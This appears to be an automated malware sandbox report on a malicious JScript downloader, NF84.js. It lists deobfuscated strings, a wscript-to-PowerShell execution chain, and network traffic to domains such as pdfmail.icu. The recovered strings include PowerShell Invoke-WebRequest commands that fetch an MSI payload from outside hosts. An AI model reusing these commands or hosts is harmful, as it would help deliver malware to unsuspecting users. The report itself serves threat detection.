Source: NF84.js	Argument value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition
Source: NF84.js	Return value : ['\nfunction parseInt(),"Scripting.FileSystemObject"', '"powershell"', '?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', '"WScript.Shell"', '"Scripting.FileSystemObject"', '1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin', '"powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R', '"powershell -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFi', '\nfunction parseInt(),"WScript.Shell"']	Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,', 'DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,R']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdf"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Argument value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Argument value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"', '\nfunction parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,']	Go to definition
Source: NF84.js	Argument value : ['\nfunction parseInt(),"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Argument value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdf"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['"http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44"']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition
Source: NF84.js	Return value : ['1409821jbmjgp,Sleep,random,6MWZToe,10CdYxPx,5626176BtLaPl,8KApWDK,48772LGjEnw,ExpandEnvironmentStrin']	Go to definition

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 199.232.196.193 199.232.196.193
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49747 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /arquivo/lista/?=66d1c5cd84e44 HTTP/1.1Host: pdfmail.icuConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.5.2/css/bootstrap.min.css HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6Ke8DF2.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /arquivo/lista/pdf.png HTTP/1.1Host: pdfmail.icuConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=R4xbWys1RkYW+xk&MD=DXyzA69e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /HTxGcIM.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6Ke8DF2.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /N24FdEJ.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.5.2/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.5.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pdfmail.icu/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /arquivo/lista/pdf.png HTTP/1.1Host: pdfmail.icuConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
Source: global traffic	HTTP traffic detected: GET /HTxGcIM.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /N24FdEJ.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.5.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.5.2/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
